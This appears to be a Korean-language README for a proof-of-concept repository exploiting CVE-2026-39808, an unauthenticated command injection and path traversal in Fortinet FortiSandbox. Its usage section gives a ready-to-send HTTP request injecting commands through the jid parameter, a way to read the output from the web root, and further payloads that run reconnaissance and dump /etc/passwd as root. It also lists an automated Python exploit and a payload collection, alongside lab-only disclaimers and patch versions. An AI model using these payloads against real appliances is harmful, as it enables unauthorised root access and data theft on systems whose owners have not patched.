🚨 FortiSandbox 루트 샌드박스 탈출 - CVE-2026-39808

---

🎯 개요

이 저장소는 Fortinet FortiSandbox의 치명적인 인증 없는 명령 주입 취약점인 CVE-2026-39808에 대한 깔끔하고 잘 문서화된 개념 증명(PoC)을 포함합니다. 이 취약점은 샌드박스 탈출 및 root(uid=0) 권한으로 원격 코드 실행을 허용합니다.

이 PoC가 시연하는 내용:

• jid 매개변수를 통한 경로 탐색(Path Traversal) + 명령 주입(Command Injection)
• 분석 환경에서 샌드박스 탈출
• root 권한으로 임의 명령 실행
• 시스템 파일 및 네트워크 정보 읽기

📸 데모

uid=0 gid=0 groups=0을 보여주는 성공적인 악용

🚀 영향을 받는 버전

🛠️ 사용 방법 (랩 전용)

1. 간단한 페이로드 (권장)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. 결과 확인

브라우저에서 열기:

https://your-lab-ip/ng/out.txt

3. 고급 페이로드 예시

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 저장소 구성

• poc.py → 자동화된 Python 익스플로잇
• burp-request.txt → 바로 사용 가능한 Burp Suite 요청
• payloads.md → 유용한 페이로드 모음
• screenshots/ → 단계별 악용 과정 스크린샷
• README.md → 이 파일

⚠️ 중요 참고 사항

• 교육 및 랩 환경 목적으로만 사용
• 프로덕션 또는 승인되지 않은 시스템에서 사용하지 마세요
• 테스트 전에 항상 적절한 허가를 받으세요
• FortiSandbox를 4.4.9+ 또는 5.0.6+ 버전으로 패치하세요

🛡️ 완화 조치

FortiSandbox를 다음 버전 중 하나로 즉시 업데이트하세요:

• 4.4.9 이상
• 5.0.6 이상

Fortinet은 이 취약점을 해결하는 공식 패치를 발표했습니다.